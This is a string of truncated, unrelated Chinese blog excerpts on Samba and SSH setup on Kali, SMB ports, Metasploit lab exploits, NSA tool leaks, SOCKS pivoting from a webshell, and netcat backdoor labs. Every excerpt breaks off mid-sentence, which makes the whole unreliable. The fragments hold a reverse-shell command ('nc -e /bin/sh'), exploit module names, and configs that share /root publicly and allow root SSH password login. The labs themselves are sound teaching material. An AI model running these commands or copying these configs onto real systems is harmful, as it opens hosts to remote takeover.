root@kali:~# smbpasswd -a rootNew SMB password:Retype new SMB password:root@kali:~# vi /etc/samba/smb.conf在/etc/samba/smb.conf末尾追加[share]         path=/root         writable=yes         public=yes         valid users=root root@kali:~# service smbd st

在运行里面输入:\\xxx.xxx.xxx.xxx   即可访问远程服务器

1.修改sshd_config文件 vim /etc/ssh/sshd_config 将#PasswordAuthentication yes的注释去掉 将#PermitRootLogin prohibit-password的注释去掉 ,prohibit-password 改为yes 2.重启服务 service ssh restart 3.如果还不行,执行 #ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key 4.设置ssh开机自启 update-rc

1.SMB协议与CIFS协议的区别     139端口是一种TCP端口,该端口在通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用.445端口也是一种TCP端口,该端口在 Windows 2000 Server或Windows Server 2003系统中发挥的作用与139端口是完全相同的.具体地说,它也是提供局域网中文件或打印机共享服务.不过该端口是基于CIFS协议(通用因特网文件系统协议)工作的,而139端口是基于SMB协议(Server Message Block服务器协议族)对

一.概述 SMB(Server Message Block)是由微软开发的一种软件程序级的网络传输协议,主要用来使得一个网络上的计算机共享计文件.打印机.串行端口和通讯等资源.它也提供认证的进行进程间通信机能.经过Unix服务器厂商重新开发后,它可以用于连接Unix服务器和Windows客户机,执行打印和文件共享等任务. SMB一开始的设计是在NetBIOS协议上运行的(而NetBIOS本身则运行在NetBEUI.IPX/SPX或TCP/IP协议上).从Windows2000开始,微软引入SMB

1.安装 samba 以及相关依赖包:yum install samba samba-client samba-swat 2.添加 smb 服务用户:smbpasswd -a user_name(之后会提示输入密码) 3.开启 smb 服务:service smb start 4.在 windows 上连接 smb 服务:在运行窗口(win + r)输入 \\ip 即可 5.其他一些 smb 服务相关的命令,重启 smb 服务:service smb restart,关闭 smb 服务:serv

1 SMB LinuX下SMB的配置 使用Smb进行连接的命令: smbclient //192.168.128.1/Share 今天要在LINUX之间以及LINUX与WINDOWS之间互相传送文件,本来可以用FTP的,一时兴起,决定使用SMB来试一把,因为时间比较短,所以只能记下一部分用到的命令和内容,小记一下:) 一.使用环境: 两台LINUX服务器,一台安装了RHAS3 U3(IP:(IP:192.168.10.1),其他的都是windows服务器,安装了 windows2000 serv

kali安装,信息搜集,服务器扫描 kali介绍 Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统.由Offensive Security Ltd维护和资助.最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 .Kali Linux预装了许多渗透测试软件,包括nmap .Wireshark .John the Ripper,以

网络对抗技术 20164323 Exp5 MSF基础应用 靶机 ip:192.168.1.229 kali ip:192.168.1.216 exploit选取 主动攻击:ms17_010_psexec(唯一) 浏览器攻击:ms05_054_onload(成功) 客户端攻击:adobe_cooltype_sing(唯一) 辅助模块:scanner/http/options(唯一) 问题思考 exploit: exploit在我看来就是利用模块进行攻击的意思吧,可能是对的吧 payload:用来攻

运行环境 Virtualbox (二选一) Vnware Workstation player 通关提示 Enumeration is key Try Harder Look in front of you Tweet @togiemcdogie if you need more hints ip探测 本次实验攻击机为kali 由于我们的目标与我们的物理机位于同一网段,所以我们要做的就是先获取目标机器的地址.在内网主机探测中,可以使用netdiscover来进行. 同样我们也可以用nmap神器来

0x01 前言 4月14日,影子经纪人在steemit.com上公开了一大批NSA(美国国家安全局)“方程式组织” (Equation Group)使用的极具破坏力的黑客工具,其中包括可以远程攻破全球约70%Windows机器的漏洞利用工具.一夜之间,全世界70%的windows服务器置于危险之中,国内使用windows服务器的高校.国企甚至政府机构也不能幸免. 据了解,受影响的Windows 版本包括Windows NT,Windows 2000.Windows XP.Windows 2003

https://blog.csdn.net/SouthWind0/article/details/83111044 通过SOCKS代理渗透整个内网 1.背景 经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它. 注意:本次环境在本地搭建,假设现在一无所知,这样更加真实. 2.对web服务器提权 2.1获取漏洞信息 获取到webshell后使用菜刀连接,查看权限是apache,系统是redhat6.5. 上传linux.sh到/

正在运行的内核和系统信息 # uname -a # 获取内核版本(和BSD版本) # lsb_release -a # 显示任何 LSB 发行版版本信息 # cat /etc/SuSE-release # 获取 SuSE 版本 # cat /etc/debian_version # 获取 Debian 版本 使用 /etc/DISTR-release 其中DISTR(发行代号)= lsb (Ubuntu), redhat, gentoo, mandrake, sun (Solaris), 等等.

前言: 为了实现windows 和 Linux以及其它操作系统之间的资源共享,软件商推出nfs 和samba两种解决方案.因为市场上缺乏象pc-nfs那样的client工具,使得Linux和windows的资源共享变得复杂.Samba的出现攻克了 这一问题,它以其简洁.有用.灵活配置的特点受到越来越多人们的广泛关注. Windows利用SMB协议来实现操作系统间文件和打印机共享,而Samba本身具备SMB协议,它实现局域网内和Windows系列计算机的资源共享. 本文就Samba在Linux系统

一.基础问题回答 (注:本实验中在win7上使用的ncat.exe和socat.exe均可在实验指导的附件中下载) 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:非官方网站下载资源时,可能附带下载后门软件:下载安装破解版软件:随意点击收到的陌生链接 2.例举你知道的后门如何启动起来(win及linux)的方式? 答:win : 双击直接执行:通过任务计划程序启动:在开机启动项中,随着开机,直接启动 linux : 通过cron指令,制定任务,从而启动:通过脚本启动 3.Meterpr

Exp2 后门原理与实践 一.基础问题回答: 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:在网上点击不安全的网页或链接. 2.例举你知道的后门如何启动起来(win及linux)的方式? 答: windows : 先关闭防火墙和杀毒软件,右键管理员运行,通过cmd来运行. linux : 通过crontab指令,由计划任务启动. 3.Meterpreter有哪些给你映像深刻的功能? 答:Meterpreter不只可以录音截屏,还可以记录键盘输入和录像,这说明如果我们的电脑被装入后门,

Exp2 后门原理与实践 20164318 毛瀚逸 一.实验内容 基础问题回答: 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:下载奇怪的文件并运行,通过操作系统的漏洞来获取电脑的高级权限. 2.例举你知道的后门如何启动起来(win及linux)的方式? 答:设置定时运行,在设定的时间自动启动. 3.Meterpreter有哪些给你映像深刻的功能? 答:拍照,如果别人入侵了我的电脑,是不是可以随时窥探我在做什么呢. 4.如何发现自己有系统有没有被安装后门? 答:各种杀软都应该可以应付

实验一:使用netcat获取主机操作Shell,cron启动 1.Windows获得Linux Shell (1)打开本机win10的cmd.exe,使用命令 ipconfig 查看win10的IP地址. (2)并用命令 ncat.exe -l -p  监听本机的4311端口,等待 (3)启动虚拟机,在kali上面打开一个终端,并输入 nc -e /bin/sh 连接win10. (4)win10获得linux的shell,可执行linux指令,比如ls. 2.Linux获得Windows Sh

[后门概念] 后门就是不经过正常认证流程而访问系统的通道. 特指潜伏于操作系统中专门做后门的一个程序,而“坏人”可以连接这个程序远程执行各种指令. (概念和木马有重叠) [学习内容] 使用nc实现win,mac,Linux间的后门连接meterpreter的应用MSF POST 模块的应用 [实验内容] [首先得有这么一个程序] NC 或 netcat 得放到系统里 还得运行起来 最后还得不被本机的恶意代码检测程序发现,也不能被本机的或网络上的防火墙发现 所以按照以上步骤将实验分为以下几步: [

关于管理计算机\\xp1 找不到网络路径的解决方案 使用域管理员登录域控DC,然后打开AD用户和计算机 选择一台域成员计算机,然后选择管理,结果出现如下提示:点击确定后出现如下提示随后,立刻用域管理员登录到成员计算机,发现正常.看来AD活动目录没有问题,原因在成员计算机上.于是检查计算机.发现防火墙开启.先关闭防火墙试验一下.结果成功了.这可不行呀,关闭防火墙可不太安全,看来问题还是出在防火墙上.这次,再次启动,然后转到例外选项卡中.猛然发现“文件和打印机共享”没有勾选,勾选后确定.正常了.原来